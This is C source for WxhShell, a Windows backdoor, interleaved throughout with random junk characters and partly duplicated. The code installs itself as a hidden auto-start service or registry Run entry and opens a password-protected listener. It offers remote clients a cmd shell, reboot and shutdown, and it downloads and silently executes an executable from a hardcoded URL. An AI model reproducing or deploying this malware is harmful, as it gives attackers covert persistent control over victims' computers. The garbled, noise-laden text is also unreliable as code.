(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ut\:jV=f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A/I\MN| 0l[52eZ/ if (!NtQueryInformationProcess) return 0; HL4=P,' A/2$~4, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jOzXy Dq if(!hProcess) return 0; x;yvv3-$ 9h\RXVk{tA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jk>vn+q8P^ T.;{f{ CloseHandle(hProcess); ao9#E"BfM Eej
Lso#\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]#f%Dku.m if(hProcess==NULL) return 0; ljZRz$y lb'tVO HMODULE hMod; C_Q3^mLx char procName[255]; 9n\>Yieu unsigned long cbNeeded; 2sIt~ Gn PY7H0\S) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \f^xlX3&` ca7Y+9<
; CloseHandle(hProcess); OgIRI8L GD.Ss9_h1 if(strstr(procName,"services")) return 1; // 以服务启动 }Mt)57rU 0)d='3S return 0; // 注册表启动 JK<[]>O } }wiyEVAh{ mTtaqo_Bh // 主模块 46D`h!7L int StartWxhshell(LPSTR lpCmdLine) u~M$<|; { v[ML=pL SOCKET wsl; 4Z%1eOR9V BOOL val=TRUE; /A,w{09G int port=0; .
KLEx]f. struct sockaddr_in door; rN|=cn p=nbsS~": if(wscfg.ws_autoins) Install(); bKsjbYuo ^zV_vB)n port=atoi(lpCmdLine); O$6&4p*F. !hq*WtIk if(port<=0) port=wscfg.ws_port; bVU4H$k D#1R$4M= WSADATA data; &^#iS<s1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fdhgm{Y2s R`<2DC>h9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aBReIK o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :<zIWje door.sin_family = AF_INET; H5Eso*v@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); P#V!hfM door.sin_port = htons(port); <(>t"< 9.\SeJ8c if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #'1dCh
vZ closesocket(wsl); /Z?o%/bw: return 1; P05`DX}r, } -V{"Lzrfug 7d%x 7!E if(listen(wsl,2) == INVALID_SOCKET) { ,uC-^T
|n closesocket(wsl); Skci;4T( return 1; 1}la)lC } k^;n$r"i5 Wxhshell(wsl); qA)YYg/G WSACleanup(); s$pXn&: 8&8!(\xv return 0; <9X@\uvU.< yR|2><A } uFSU|SDd. M]6+s`?r // 以NT服务方式启动 \78^ O VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n?cC]k;P~ { $Okmurnn DWORD status = 0; .5a>!B.I DWORD specificError = 0xfffffff; _2G _Io hJ ^+asr serviceStatus.dwServiceType = SERVICE_WIN32; HJ]v- serviceStatus.dwCurrentState = SERVICE_START_PENDING; >D!R)W` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .+(V</ serviceStatus.dwWin32ExitCode = 0; F\+AA serviceStatus.dwServiceSpecificExitCode = 0; FhY#3-jH serviceStatus.dwCheckPoint = 0; R&(OWF;~, serviceStatus.dwWaitHint = 0; WcqR; Nm $Ah
p4oiE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \54B if (hServiceStatusHandle==0) return; &Iy5@8 9pnOAM} status = GetLastError(); %Ve@DF8G if (status!=NO_ERROR) FtyT:=Kpc { |#o' =whTl serviceStatus.dwCurrentState = SERVICE_STOPPED; VB*c1i serviceStatus.dwCheckPoint = 0; 4Pc-A serviceStatus.dwWaitHint = 0; wJ2cAX;" serviceStatus.dwWin32ExitCode = status; nE8z1hBUq serviceStatus.dwServiceSpecificExitCode = specificError; ^L$`)Ja SetServiceStatus(hServiceStatusHandle, &serviceStatus); VnW6$W?g return; bdstxjJ` } :5/Ue,~ag +'gO%^{l serviceStatus.dwCurrentState = SERVICE_RUNNING; BkB_?^Nv8 serviceStatus.dwCheckPoint = 0; M}[Q2v\ serviceStatus.dwWaitHint = 0; _f@,)n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sc+%v1Y#} } 8a8a:d k@lJ8(i^qU // 处理NT服务事件,比如:启动、停止 \0 h>!u VOID WINAPI NTServiceHandler(DWORD fdwControl) 18NnXqe-m { ")MHP~ ? switch(fdwControl) VI4mEq,V { 95#]6*#[4! case SERVICE_CONTROL_STOP: J8S$YRZ_ serviceStatus.dwWin32ExitCode = 0; T2Z$*;,>T serviceStatus.dwCurrentState = SERVICE_STOPPED; >xo<i8<Miv serviceStatus.dwCheckPoint = 0; =nCA=-Jv serviceStatus.dwWaitHint = 0; dj(&"P { -(TC' SetServiceStatus(hServiceStatusHandle, &serviceStatus); ek<B= F } of*T,MUI return; uQdH(): case SERVICE_CONTROL_PAUSE: z{OL+-OY serviceStatus.dwCurrentState = SERVICE_PAUSED; n+sv2Wv: break; 4_-&PZ,d case SERVICE_CONTROL_CONTINUE: 3LfF{ED@ serviceStatus.dwCurrentState = SERVICE_RUNNING; m]U break; KdozB!\ case SERVICE_CONTROL_INTERROGATE: aPxSC>p break; C2rG3X^~Jm }; S\N l|U[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); " J9 } 5fk
A?Ecqq a({Rb?b // 标准应用程序主函数 wwdmz;0S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P<R^eLZ<& { DI8I'c-P Wtu-g**KN // 获取操作系统版本 9{fP.ifdv7 OsIsNt=GetOsVer(); TW&s c9 GetModuleFileName(NULL,ExeFile,MAX_PATH); #\X)|p2 }bw^p.ci // 从命令行安装 Te}gmt+#% if(strpbrk(lpCmdLine,"iI")) Install(); 16Ka>=G Fu{VO~w
// 下载执行文件 geK;r0(f if(wscfg.ws_downexe) { zu?112-v2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -x6_HibbD WinExec(wscfg.ws_filenam,SW_HIDE); [x7Rq_^ } gnN>Rl
5_ 'Y2$9qy-L if(!OsIsNt) { XHJdynt/ // 如果时win9x,隐藏进程并且设置为注册表启动 gKTCfD~ HideProc(); e}2?)B`[ StartWxhshell(lpCmdLine); A7YCSjB } b~fl,(sZp else [F*yh9%\ if(StartFromService()) ^n~Kr1}nj // 以服务方式启动 *<cRQfA1 StartServiceCtrlDispatcher(DispatchTable); BKTTta1mY else xS@jV6E~ // 普通方式启动 (^B1Kt!< StartWxhshell(lpCmdLine); Hz,Gn9:p GtmoFSZ return 0; ?84f\<" } ~H \P0G5GA ]vcT2lr] NaoOgZ? _`=qc/-0 =========================================== V#,|#2otZ , Zie2I?q *j83E[(] :1f,%Z$,q 4IZAJqw(* _s#J\!F " WVQHb3Pe0 7n .A QII #include <stdio.h> C\"C12n{ #include <string.h> %6fnL~A #include <windows.h> <k1muSe #include <winsock2.h> Yqh-U%"' #include <winsvc.h> ES,JdImZ| #include <urlmon.h> k"[AV2UW1 *fi`DiO #pragma comment (lib, "Ws2_32.lib") ,.{M1D6'R` #pragma comment (lib, "urlmon.lib") W="pu5q$5 rJf{YUZe #define MAX_USER 100 // 最大客户端连接数 a++gwl #define BUF_SOCK 200 // sock buffer @)Vb?|3 #define KEY_BUFF 255 // 输入 buffer .&]3wB~ x!S}Y" #define REBOOT 0 // 重启 6E_~8oEl #define SHUTDOWN 1 // 关机 ]+pE1-p\ Rh~j -; #define DEF_PORT 5000 // 监听端口 [%LGiCU] `@\FpV[|P #define REG_LEN 16 // 注册表键长度 ?-&k?I #define SVC_LEN 80 // NT服务名长度 ?7CdJgJp 2vUcSKG7 // 从dll定义API D3g5#.$,}> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +-t&li%F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Q `Ps/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Da! fwth typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /C`AA/@ ByoI+n* U // wxhshell配置信息 -[>J"l struct WSCFG { sDgo G int ws_port; // 监听端口 .yTo)t char ws_passstr[REG_LEN]; // 口令 ,%/F,O+# int ws_autoins; // 安装标记, 1=yes 0=no '9vsv\A& char ws_regname[REG_LEN]; // 注册表键名 H]V(qq{ char ws_svcname[REG_LEN]; // 服务名 L1`^M char ws_svcdisp[SVC_LEN]; // 服务显示名 \g]rOYW char ws_svcdesc[SVC_LEN]; // 服务描述信息 3k_\xQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1F0];{a int ws_downexe; // 下载执行标记, 1=yes 0=no 56c3tgVF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]E:L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vx[Q=raS Z<C39s }; jl;N
Fk% l8Yr]oNkz // default Wxhshell configuration FLsJ<C~/~ struct WSCFG wscfg={DEF_PORT, "9c!p "xuhuanlingzhe", `mZ1!I-T 1, [G+@[9hn% "Wxhshell", 0ZL>- "Wxhshell", -{?xl*D "WxhShell Service", "{S4YA "Wrsky Windows CmdShell Service", *.$ov<E. "Please Input Your Password: ", dEf5x_TGm 1, ~nj+"d] "http://www.wrsky.com/wxhshell.exe", ,{"K^ "Wxhshell.exe" ., thdqOO }; vcy(!r bjj
F{T // 消息定义模块 Ub\&k[F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +=L+35M char *msg_ws_prompt="\n\r? for help\n\r#>"; 9*"K+t: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fe6Op char *msg_ws_ext="\n\rExit."; D@{m char *msg_ws_end="\n\rQuit."; d`?EEO char *msg_ws_boot="\n\rReboot..."; $WE_aNfja char *msg_ws_poff="\n\rShutdown..."; \ X6y".|- char *msg_ws_down="\n\rSave to "; zuJ` 704 GXv2B%i8 char *msg_ws_err="\n\rErr!"; h52+f char *msg_ws_ok="\n\rOK!"; Pa; *%7 Cx) N;x char ExeFile[MAX_PATH]; h4slQq~K int nUser = 0; )=N.z6? HANDLE handles[MAX_USER]; h_Er$ZT64 int OsIsNt; >9g^-~X;v g*9&3ov SERVICE_STATUS serviceStatus; 8z&/{:Z@pH SERVICE_STATUS_HANDLE hServiceStatusHandle; f4X}F|!h ?q'r9Ehe // 函数声明 Xn!=/<TIVz int Install(void); &$qIJvMiK int Uninstall(void); ]/R>nT int DownloadFile(char *sURL, SOCKET wsh); ]YDqmIW int Boot(int flag); @6U&7! void HideProc(void); u7p:6W int GetOsVer(void); 2<2a3'pG int Wxhshell(SOCKET wsl); Np~qtR void TalkWithClient(void *cs); h^K>(x int CmdShell(SOCKET sock); m|Z[8Tup int StartFromService(void); i-k(/Y0 int StartWxhshell(LPSTR lpCmdLine); 7` XECIh uxq#q1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M
8mNeh VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z\?!&& ryd}-_LL // 数据结构和表定义 `AdHyE SERVICE_TABLE_ENTRY DispatchTable[] = ybB<AkYc { d?CU+=A&| {wscfg.ws_svcname, NTServiceMain}, DEv,!8 {NULL, NULL} _B ]Bd@<w }; 3
}rx( #)6
bfyi- // 自我安装 b\t@vMJ int Install(void) +hT9V1'-D { $- Z/UHT char svExeFile[MAX_PATH]; >R/^[([;] HKEY key; r^\Wo7q strcpy(svExeFile,ExeFile); 0wETv 8,m: // 如果是win9x系统,修改注册表设为自启动 8HSGOs =8 if(!OsIsNt) { F|WH=s3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { okW'}@jD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pb :6nH= RegCloseKey(key); =gB{( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~4|]^`g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RQn3y-N] RegCloseKey(key); )T^aJ-Uf return 0; 0ENqK2 } YGq-AB } AWmJm) } qSVg.<+ else { rHtX4;f+>< +d6Jrd* // 如果是NT以上系统,安装为系统服务 sy9Yd PPE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y9(BxDP_+Y if (schSCManager!=0) ewinG-hX_ { t2%gS"
[ SC_HANDLE schService = CreateService #+3I$ k ( ?Vr~~v"fg8 schSCManager, ]"1\z>Hg wscfg.ws_svcname, }% ?WS wscfg.ws_svcdisp, ;77q~_g$ SERVICE_ALL_ACCESS, D_cd
l^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R2[
} SERVICE_AUTO_START, CwfGp[|}e SERVICE_ERROR_NORMAL, ![_GA)7 svExeFile, jM(!!AjpC NULL, inx0W3d"T NULL, ~_SVQ7P NULL, 4b$m\hoN NULL, M$LzV}k NULL ~leLQsZ ); :&D$Q
4 if (schService!=0) Z@:R'u2Lk { }pPt- k CloseServiceHandle(schService); }Qvoms<k CloseServiceHandle(schSCManager); wsCT9&p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ok9G 9|HA strcat(svExeFile,wscfg.ws_svcname); %6<2~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ["?WVXCF8| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); < 'qtqUL\ RegCloseKey(key); kI$p~ return 0; M7IQJFra }
DWJkN4}o } /K#J63 , CloseServiceHandle(schSCManager); :!g zx n } t~]oJ5% } %^8>= Z{.L_]$I return 1; \U'TL_Ql } 5'O.l$)y 7llEB*dSA // 自我卸载 s=|&NlO$ int Uninstall(void) 7wc{.~+ { Bcy$"F|r HKEY key;
gIXc-=Ut A,#hYi=-, if(!OsIsNt) { zn{[]J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tn3f5ka' RegDeleteValue(key,wscfg.ws_regname); d
"vd_}P~ RegCloseKey(key); ('pxX+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FwGMrJW RegDeleteValue(key,wscfg.ws_regname); c'6$`nC RegCloseKey(key); F1o"H/:n return 0; ?rH=< #@ } > 'KQL?!F } 6<A3H$3b } oWc
+i U( else { /%GMbO_ OL"So
u4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _.Bite^ if (schSCManager!=0) ) N"gW* { MtO p][i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :`P;(h if (schService!=0) ?`O Dt]s { YPq`su7m9 if(DeleteService(schService)!=0) { zuZlP CloseServiceHandle(schService); &gR)bNIC_= CloseServiceHandle(schSCManager); H}c, P(' return 0; }"?KHy } /C}fE]n{X CloseServiceHandle(schService); Kq0hT4w } J#W>%2"s CloseServiceHandle(schSCManager); &hYjQ&n } )Z 3fytY } Qmh*Gh?v wbId}! return 1; WH$
Ls(' } DP_bB( N6<23kYM // 从指定url下载文件 xX.Ox int DownloadFile(char *sURL, SOCKET wsh) Mhw\i&*U { 8Lpy`He HRESULT hr; Zb# char seps[]= "/"; \:?H_^^d char *token; G1'w50Yu char *file; %rRpUrnm char myURL[MAX_PATH]; Fk,3th char myFILE[MAX_PATH]; <cz~q=%v2& :PaFC{O)* strcpy(myURL,sURL); O_PC/=m1@ token=strtok(myURL,seps); $mOK|=tI_ while(token!=NULL) [@/[#p { Va/p
file=token; k\}qCDs token=strtok(NULL,seps); .9g\WH#qD| } c~|/,FZU' hK$-R1O GetCurrentDirectory(MAX_PATH,myFILE); y6?Q5x9M strcat(myFILE, "\\"); | T"{q strcat(myFILE, file); \ca4X{x send(wsh,myFILE,strlen(myFILE),0); E%-&!%_>D@ send(wsh,"...",3,0); BWX&5"" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3r{'@Y
=)Y if(hr==S_OK) es(vWf' return 0; W:>RstbnMG else %]Nz54! return 1; rd1&?X o#wF/ I } q#Qr@Jf GW{Nc!) // 系统电源模块 TniZ!ud int Boot(int flag) Rb~Kyy$ { I|O~F e. HANDLE hToken; N]yk<55 TOKEN_PRIVILEGES tkp; knBT(x'+ 6<t\KMd if(OsIsNt) { 73.o{V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6v1#i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %9NGVC tkp.PrivilegeCount = 1; g}qK$>EPS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vFCp=8h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I"JT3[*s if(flag==REBOOT) { ESASsRzk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $@&bK2@.( return 0; ($W9
? } ccm <rZ7 else { Ruk6+U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SqTm/ t return 0; Hab9~v ] } O.K8$ } vPwDV_z k else { 0 q3<RX>M% if(flag==REBOOT) { b8v$*{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iKS9Xss8 return 0; U.6hLFcE } 9 [I ro else { d=4MqX r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LbYI{|_Js return 0; ) L{Tn8 } {U(h]' } $uLzC] VBCj.dw return 1; 8w*fg6,= } aQ~x$T| Mm[%v
t40 // win9x进程隐藏模块 &1':s|c void HideProc(void) Jc%>=`f { &&<^wtznO Io"=X!k HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UU
,)z if ( hKernel != NULL ) $z,bA*j9 { -owfuS?i= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rP\7C+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UZAWh R FreeLibrary(hKernel); Dk"M8_-_ } 1[Mr2 @ s{:
Mu~v return; g*tLqV } _fyw 25~$qY_ // 获取操作系统版本 sw@2
?+ int GetOsVer(void) B6pz1P?e} { Sl_zO?/PF OSVERSIONINFO winfo; B]qh22Yib winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^LcI6h
GetVersionEx(&winfo); YI|Gpq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?\pE#~m return 1;
Qom@-A else oF6MV&q/ return 0; D&^:hs@ } EqmJXDm BxT~1SBFq // 客户端句柄模块 Sd\@Q%
}o\ int Wxhshell(SOCKET wsl) 1aDDl-8, { yR$_$N+E SOCKET wsh; ( gFA? aD< struct sockaddr_in client; &sNID4FR DWORD myID; aw4+1.xy T8(wzs while(nUser<MAX_USER) ^+wzm2i { y;>I'e int nSize=sizeof(client); !fV6KkV wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y^Jv?`jw if(wsh==INVALID_SOCKET) return 1; jbGH3 L RQ'c~D)X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dB,#`tc=, if(handles[nUser]==0) w:LCm `d closesocket(wsh); 4>Y\2O?** else ).boe& . nUser++; >>8w(PdTn% } : [9'nR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ["IJh '_<`dzz return 0; 3"hR:'ts } A-u5 1G;Ns] u // 关闭 socket R
_Y&Y- void CloseIt(SOCKET wsh) BT1'@qF { prs<ZxbQb closesocket(wsh); Xda<TX@- nUser--; iHn]yv3
#
ExitThread(0); wEbs E<</ } eEh0T%9K &aQ)x // 客户端请求句柄 =arsoCa void TalkWithClient(void *cs) DnFl*T> { q{ 1U }\{1`$*~ SOCKET wsh=(SOCKET)cs; vTEkh0Ys char pwd[SVC_LEN]; %Tb|Yfyr C char cmd[KEY_BUFF]; 7x]nY. \ char chr[1]; {4 d$]o0V int i,j; %Eh%mMb^ u_"h/)C'H while (nUser < MAX_USER) { -YyH"f 4w6K|v<X if(wscfg.ws_passstr) { Y
fA\#N0;3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X&~Eo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p4EItRZS //ZeroMemory(pwd,KEY_BUFF); NXNon*" i=0; b
. j^US^ while(i<SVC_LEN) { mlWIq]J @/(7kh+ // 设置超时 7qz-RF#s8 fd_set FdRead; .rm7Sd4K struct timeval TimeOut; Umt ia~x=& FD_ZERO(&FdRead); kAliCD) FD_SET(wsh,&FdRead); ')-(N
um TimeOut.tv_sec=8; EM/+1
_u TimeOut.tv_usec=0; ]+dl=SmF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t
g*[%Jf^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \>`$x: g0OS<,: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,b(S=r pwd=chr[0]; vxT"BvN if(chr[0]==0xd || chr[0]==0xa) { DOIWhd5: pwd=0; -\$cGIL break; RbM~E~$ } $)]FCuv i++; kw:D~E( }
cgeS)C7 mRY6[*u // 如果是非法用户,关闭 socket hb8XBBKR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y( } ] *VF Ws 3a}`xCO5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mZVOf~9E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 51ebE` U(=9&c@] while(1) { O9X:1>a@i D>e\OfTR: ZeroMemory(cmd,KEY_BUFF); l1Q+hz5"*U 5l/l] // 自动支持客户端 telnet标准 G)Bq?=P
j=0; 6CmFmc, while(j<KEY_BUFF) { #
pB:LPEsK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =DTOI cmd[j]=chr[0]; e=UVsYNx if(chr[0]==0xa || chr[0]==0xd) { cloSJmUlQ cmd[j]=0; tB=D&L3 break; N pND/ } Sw@,<4S j++; &E
riskI } ,wi=!KzX Z"|P(]A // 下载文件 xM//] if(strstr(cmd,"http://")) { M6*{#Y? send(wsh,msg_ws_down,strlen(msg_ws_down),0); tZCe?n] if(DownloadFile(cmd,wsh)) *F*jA$aY send(wsh,msg_ws_err,strlen(msg_ws_err),0); N$&ePU J else K[gWXBP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <bZm } xqC<p`?4 else { H"rzRd;S /+t[, switch(cmd[0]) { zHOE.V2Qo ~P#zhHw // 帮助 <N=p:e,aN, case '?': { `s>=Sn&UP send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZHF(q6T break; iq uTT~ } Rw\C0' // 安装 _+04M)q0 case 'i': { }t%>_ if(Install()) _d| 62VS send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 j^c else -A%?T" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H'GYJ ?U" break; km\ld&d]$ } .e2A*9, // 卸载 %;\G@q_p{ case 'r': { :6j :9lYL2 if(Uninstall()) *Z]WaDw send(wsh,msg_ws_err,strlen(msg_ws_err),0); ivX37,B\bS else <j
9Mt=8M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "x|NG,<[9 break; %L13Jsw } l \^nC2 // 显示 wxhshell 所在路径 <VaMUm<2 case 'p': { %|(?!w7 char svExeFile[MAX_PATH]; {rvbo1t strcpy(svExeFile,"\n\r"); t0J5v ; strcat(svExeFile,ExeFile); LJ(n?/z% send(wsh,svExeFile,strlen(svExeFile),0); 6=,#9C9 break; CFJjh^
~= } H[7cA9FI // 重启 x:?a;m uf case 'b': { pP0Vg'V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sjzXJ`s if(Boot(REBOOT)) Sn0gTsZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)oN[ else { k<Tez{< closesocket(wsh); 3Q$'qZw p ExitThread(0); hygnC`| } hiMyFvA4 break; +|?|8"Qg } IjDT'p_ // 关机 crNjI`%tw case 'd': { _MdZDhtm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W>0"CUp if(Boot(SHUTDOWN)) =`1m- send(wsh,msg_ws_err,strlen(msg_ws_err),0); -N7xO) else { k?HrD" k" closesocket(wsh); }PFt ExitThread(0); &=-e`=qJ'6 } ]`@]<6 break; *F
szGn< } O5^J!(.O\Z // 获取shell iTLW<wG case 's': { {b,2;w}95 CmdShell(wsh); MxgLztY closesocket(wsh); Sn(l$wk= ExitThread(0); #A3v]'7B break; ~n/Aq* }
TmYP_5g: // 退出 Cfr<D3&,] case 'x': { JEsLF{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; wbUk5Tf/ CloseIt(wsh); ^S#\O>GHP break; ("?&p3];b } ;V~rWzKM( // 离开 kG$E
tE# case 'q': { '(*&Ax send(wsh,msg_ws_end,strlen(msg_ws_end),0); AbF(MK=i closesocket(wsh); om}/f` WSACleanup(); skI(]BDf exit(1); 5c]}G.NV break; 9fNu?dE
} *qPdZ } {Z#e{~m# } >I4p9y(u ^XBzZ!h| // 提示信息 ^Ti_<<X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *#1y6^ } fVDDYo2\ } %AG1oWWc>. #v4LoNm return; *K(k Kph } +}^|dkc W|25t)cJ8h // shell模块句柄 ^sifEgG *d int CmdShell(SOCKET sock) Qz@IK:B} { oTCzY Y STARTUPINFO si;
@~k5+Z ZeroMemory(&si,sizeof(si)); 6Wpxp\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WR/o
@$/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V#0
dGP-Z PROCESS_INFORMATION ProcessInfo; U@6jOZ char cmdline[]="cmd"; sno`=+|U] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pb^,Qvnp return 0; ]*N:;J } 'qL5$ zG !K3})& w // 自身启动模式 5@`F.F>" int StartFromService(void) 38c?^ { .xGo\aD typedef struct e}42/>}#D { M{?.hq DWORD ExitStatus; |h&<_9 DWORD PebBaseAddress; "l@A[@R DWORD AffinityMask; qoj^_s6 DWORD BasePriority; bMN@H\Ek ULONG UniqueProcessId; /!GKh5| ULONG InheritedFromUniqueProcessId; 7\A4vUI3 } PROCESS_BASIC_INFORMATION; *Jvxs
R'a1 p%q.*trUb9 PROCNTQSIP NtQueryInformationProcess; _eJXi, w6T[hZ 9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &{%MjKJ._ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ia629gi5s :qKF58W HANDLE hProcess; }q% jO PROCESS_BASIC_INFORMATION pbi; 2_;] HH)"]E5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9W!8gCs if(NULL == hInst ) return 0; 9!9>
?Z 6M ^IwE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X8/Tl\c g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q%ruQ# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vUNisVA 55.;+B5L* if (!NtQueryInformationProcess) return 0; } h[>U CI`N8
f=v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d%0+i/p if(!hProcess) return 0; <i{K7}': .xO
_E1Ku; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !;%y$$gxh /XcDYMKgh CloseHandle(hProcess); LVnHt} dUS ZNY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )QmGsU}? if(hProcess==NULL) return 0; h#i\iK&A C+w__gO&r HMODULE hMod; Z@3l%p6V char procName[255]; Nl@k*^ unsigned long cbNeeded; WwuZ(>| W9Nmx3ve if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JqEW=5 u~W{RHClW CloseHandle(hProcess); OifvUTl9b C.~j'5N if(strstr(procName,"services")) return 1; // 以服务启动 $>*Yhz ` 